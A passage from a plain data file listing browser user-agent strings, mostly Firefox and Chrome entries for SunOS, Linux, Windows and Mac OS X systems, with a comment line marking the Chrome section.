rv:1.8.1) Gecko/20061211 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 Mozilla/5.0 (X11; U; SunOS i86pc; en-ZW; rv:1.8.1.6) Gecko/20071125 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.8.1.6) Gecko/20070805 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.9.1b4) Gecko/20090428 Firefox/2.0.0.0 Mozilla/5.0 (X11; U; SunOS sun4u; en-GB; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050927 Firefox/1.0.7 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.11) Gecko/20080118 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.14) Gecko/20080418 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.20) Gecko/20090108 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.9) Gecko/20071102 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061228 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8) Gecko/20051130 Firefox/1.5 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (X11; U; SunOS sun4u; it-IT;) Gecko/20080000 Firefox/3.0 Mozilla/5.0 (X11; U; SunOS sun4u; pl-PL; rv:1.8.1.6) Gecko/20071217 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; SunOS sun4v; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; SunOS sun4v; es-ES; rv:1.8.1.9) Gecko/20071127 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (X11; U; Windows NT i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.8.16) Gecko/20071015 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (ZX-81; U; CP/M86; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) # Google Chrome Mozilla/4.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11.0.1245.0 Safari/537.36 Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/5.0 ArchLinux (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Macintosh; AMD Mac OS X 10_8_2) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/18.6.872 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.31 (KHTML, like Gecko) Chrome/13.0.748.0 Safari/534.31 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.32 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.68 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.11 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.834.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/19.0.1047.0 Safari/535.22 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 Mozilla/5.0 